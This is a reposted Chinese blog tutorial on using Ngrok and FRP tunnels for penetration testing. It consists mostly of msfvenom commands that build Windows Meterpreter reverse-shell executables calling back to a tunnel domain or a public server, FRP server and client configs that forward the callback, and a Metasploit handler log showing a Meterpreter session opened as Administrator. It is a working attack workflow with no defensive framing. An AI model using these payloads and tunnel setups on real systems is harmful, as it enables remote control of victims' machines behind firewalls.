内网渗透 | 内网穿透Ngrok&Frp

./sunny clientid 隧道id

msfvenom -p windows/meterpreter/reverse_http lhost=xxx.free.idcfengye.com lport=80 -f exe -o test.exe  # 反向连接代理隧道

[common]bind_port = 7000       # 公网服务端口 需要配置安全组开放此端口# 下面配置可以不写  dashboard_port = 5588  # 仪表盘端口，只有设置了才能使用仪表盘（后台）dashboard_user = admindashboard_pad = admin
启动服务：./frps -c ./frps.ini

[common]server_addr = 服务器公网ipserver_port = 7000   # frpc工作端口，与上面frps保持一致[msf]local_ip = 127.0.0.1local_port = 5555    # 转发给本机的5555remote_port = 6000   # 在服务端注册端口，服务端用6000端口转发给本机
启动客户端：./frpc -c ./frpc.ini

msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器公网ip lport=6000 -f exe -o frp.exe

msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)   LHOST                      yes       The listen address (an interface may be specified)   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name   --  ----   0   Wildcard Target

msf5 exploit(multi/handler) > set lhost 127.0.0.1lhost => 127.0.0.1msf5 exploit(multi/handler) > set lport 5555    # 转发到本地5555端口lport => 5555msf5 exploit(multi/handler) > exploit 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?[*] Started reverse TCP handler on 127.0.0.1:5555 [*] Sending stage (176195 bytes) to 127.0.0.1[*] Meterpreter session 1 opened (127.0.0.1:5555 -> 127.0.0.1:38962) at 2021-03-15 21:51:55 +0800
meterpreter > getuidServer username: TENCENTAdministrator

作者：多学点技术原文链接：https://blog.csdn.net/weixin_44032232/article/details/114838220